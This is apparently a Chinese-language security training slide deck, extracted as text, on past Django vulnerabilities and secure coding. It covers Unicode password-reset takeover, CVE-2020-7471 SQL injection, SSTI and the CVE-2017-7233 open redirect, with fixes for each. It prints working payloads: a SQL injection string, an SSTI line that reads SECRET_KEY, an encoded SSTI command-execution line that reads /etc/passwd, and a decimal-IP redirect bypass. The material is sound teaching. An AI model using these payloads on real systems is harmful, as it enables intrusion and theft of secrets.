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1.1 密码重置漏洞



密码重置漏洞

一、漏洞简介

密码重置表单通过不区分大小写的查询来获取邮箱地址对应的账号。漏洞构造Unicode大

小写转换后相同的邮箱地址，来接收该账户的密码重置邮件，从而实现账户劫持的攻击目
标。

受影响版本：
Django 1.11< x < 1.11.28(不含)
Django 2.2 < x < 2.2.10 (不含)
Django 3.0 < x < 3.03 (不含)



密码重置漏洞

二、漏洞复现

假设我们的super账户邮箱是 cwyugpdi@netmail.tk 

Unicode大小写中土耳其文I 可以替换成英文小写i 和英文大写 I

那么根据unicode大小写的方法
可以进行如下构造 cwyugpdı@netmail.tk 或者 cwyugpdi@netmaıl.tk



密码重置漏洞

二、漏洞复现

购买域名 cwyugpdi@netmaıl.tk

好贵！溜了溜了。。直接测试是否会对其发邮件即可。



密码重置漏洞

有发送失败消息。

二、漏洞复现



密码重置漏洞

三、漏洞原理



密码重置漏洞

三、漏洞原理

官方给出修复：

1. 从数据库中检索出可能匹配的帐户列表之后，使用专门
的Unicode比较字符来比较过程，检查Python中电子邮件
地址是否相等。

2. 当生成密码重置电子邮件时，Django不再发送到密码重

置请求表单中提交的电子邮件地址，将发送到从数据库
中检索到的电子邮件地址。



密码重置漏洞

三、漏洞原理

官方给出修复：



密码重置漏洞

⚫ 升级至新版本的Django
⚫ 对其进行使用正则去校验固定格式

四、修复建议



1.2 SQL注入漏洞



SQL注入

受影响版本：
Django 1.11.x
Django 2.2.x
Django 3.0.x

2020年2月3日，Django 官方发布安全通告公布了一个通过StringAgg（分隔符）实现利用
的潜在SQL注入漏洞（CVE-2020-7471）。攻击者可通过构造分隔符传递给聚合函数
contrib.postgres.aggregates.StringAgg，从而绕过转义符号（\）并注入恶意SQL语句。

漏洞简介(CVE-2020-7471)



SQL注入



SQL注入



SQL注入



SQL注入

构造恶意payload：

';\') FROM "test_app_acticle" union select user --'



SQL注入



SQL注入



SQL注入



SQL注入



SQL注入

修复建议：

⚫ 升级至新版本的Django



1.3 SSTI漏洞



SSTI

漏洞原理(SSTI)

SSTI 全称 Server Side Template Injection，服务端模板注入

服务端接收用户的输入，将其作为 Web 应用模板内容的一部分，在进行模板渲染的

过程中执行了用户写入的恶意模板内容，该类漏洞会存在敏感信息泄露、代码执行等问题



SSTI

每一个 Web 框架都需要一种便利的方法用于动态渲染 HTML 页面。最常见的做法是使用模板系统。

Django 自带一个称为 DTL（Django Template Language ）的模板语言，以及另外一种流行的 Jinja2 （需要

提前安装）。

以下两个样例



SSTI

安全



SSTI

存在 SSTI



SSTI

存在 SSTI

读取secret-key payload：

{{request.user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}}



SSTI

存在 SSTI

命令执行payload：

%7B%7B[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20$(ech
o%20L2V0Yy9wYXNzd2QK%7Cbase64%20-d)').read()%7D%7D

http://localhost:8000/danger/%7B%7B


SSTI

加载模版

用户输入

渲染模版

用户输入用户输入 用户输入



SSTI

修复建议：

 和其他的注入防御一样，绝对不要让用户对传入模板的内容或者模板本身进行控制。

 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式，使用正规的模
板渲染方法。

 若是存在用户输入进入模版的情况应该对用户输入进行合理的过滤编码。



1.4 URL跳转漏洞



url跳转漏洞

漏洞简介(CVE-2017-7233)

Django是Django软件基金会的一套基于Python语言的开源Web应用框架。该框架包括
面向对象的映射器、视图系统、模板系统等。Django中存在开放重定向漏洞。攻击者
可利用该漏洞实施跨站脚本攻击。以下版本受到影响：Django1.10.7之前的1.10版本，
1.9.13之前的1.9版本，1.8.18之前的1.9版本。

受影响版本：
Django 1.8.0  < x < 1.8.17
Django 1.9.0  < x < 1.9.12
Django 1.10.0 < x < 1.10.6



url跳转漏洞

先谈谈is_safe_url函数：

Django.utils.http.is_safe_url(url, host=None, allowed_hosts=None, 

require_https=False) 

一、漏洞原理(CVE-2017-7233)



url跳转漏洞

一、漏洞原理(CVE-2017-7233)

➢ Eg：
1：

>>> from django.utils.http import is_safe_url
>>> is_safe_url('/xxxx/')
True

2:
>>> is_safe_url('http://test.com/xxx/')
False

3:
>>> is_safe_url('https://test.com/xxx/')
False

4:：
>>> is_safe_url('https://test.com/xxx/', 'test.com')
True

先谈谈is_safe_url函数：



url跳转漏洞

➢ urllib.parse.urlparse的特殊情况：

➢ 问题就出在该函数对域名和方法的判断，是基于urllib.parse.urlparse的,源码如下
(django/utils/http.py):



url跳转漏洞

➢ Eg：

>>> _urlparse('http://www.test.com/xxxx/')
ParseResult(scheme='http', netloc='www.test.com', path='/xxxx/', params='', query='', 
fragment='')

>>> urlparse('ftp:222')
ParseResult(scheme='', netloc='', path='ftp:222', params='', query='', fragment='')

>>> urlparse('http:222')
ParseResult(scheme='http', netloc='', path=‘222', params='', query='', fragment='')

>>> urlparse('https:222')
ParseResult(scheme='', netloc='', path='https:222', params='', query='', fragment='')

>>> urlparse('ftp:xxxx')
ParseResult(scheme='ftp', netloc='', path=‘xxxx', params='', query='', fragment='')

>>> urlparse(‘https:127.0.0.1')
ParseResult(scheme=‘https', netloc='', path='127.0.0.1', params='', query='', fragment='')



url跳转漏洞

➢ 根据urlparse的特殊情况，可以得出存在url跳转漏洞：
>>> is_safe_url('http:2222')
False

>>> is_safe_url('ftp:2222')
True

>>> is_safe_url('https:2222')
True

➢ 构造可使用的payload：

将要跳转的域名转为IP，在将IP转换为十进制，如https:2130706433 = https://127.0.0.1/



url跳转漏洞

from django.http import HttpResponseRedirect
from django.utils.http import is_safe_url
def hello(request):

url = request.GET.get("url", '')
if is_safe_url(url, host="www.baidu.com"):

return HttpResponseRedirect(url)
else:

return HttpResponseRedirect('/')

访问http://127.0.0.1:8000/?url=https:2067444743后，直接跳转到www.163.com,如图所示：

二、漏洞验证



url跳转漏洞



url跳转漏洞

三、漏洞修复



url跳转漏洞

⚫ 对于URL跳转此类漏洞 ，建议使用白名单机制进行校验，防止非预期行为发
生。

⚫ 升级到新版本的Django

修复建议：



2.1 Django安全开发



Django安全开发

从漏洞中我们能学到什么？



Django安全开发

白名单原则

不可信数据设定白名单校验的,应接受所有和白名单匹配的数据,并阻止其他数据

统一使用白名单, 不要使用黑名单去校验。

为何不建议使用黑名单?
这里以上传文件举例

假设 我们使用黑名单校验不允许上传.html文件（上传.html会造成xss攻击）。

这时候攻击者就可以上传.htm, .shtml等能被浏览器解析的后缀，从而达到相同的效果。

因为黑名单是未知的，而白名单是已知的，不会造成非预期的结果。



Django安全开发

合法性校验

对不可信数据需要进行合法性校验包括但不限于:敏感信息、数据类型、数据范围、数据长度等

检验前规范化-》不良字符过滤转义-》合法性的校验-》访问控制校验



Django安全开发

多使用框架自带的模块、函数

很多程序员写久了都有自己的一套框架（上传模块，sql查询模块等），在不同的项目中反复套用。
但是对于没有安全开发知识的程序猿来说，由于自身对于安全的认知比较浅（只关注模块功能是否正常），
可能没有意识到自己写的框架漏洞百出（任意文件上传，sql注入等），自己却无从感知，疯狂使用。



Django安全开发

多使用框架自带的模块、函数



Django安全开发

正确实例：
#在代码中定义数据库结构，
Class Products(db.Model):

__tablename__ =“products”
pid = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)

pid = request.args.get('pid')
do_pid = Products .query.filter(Products.pid == pid ).first()

错误实例：

多使用框架自带的模块、函数



Django安全开发

建议：

如果您对安全了解不多，那我这边的建议是多使用框架自带的模块，函数，
例如Django框架中的ORM框架，上传模块等

Django中使用ORM：
#...省略数据库结构

pids = request.GET.get(" pid ")
do_pid = models.Products.objects.filter(pid=pids)

多使用框架自带的模块、函数



Django安全开发

关注外界的安全信息

1、通过官方网站，关注自己所使用的框架，组件的版本更新情况，对于存在的漏洞的版本做到及时升级。

2、通过安全社区（安全客等新闻媒体）的漏洞预警，对比预警内容与我方资产是否有关，做到及时响应。




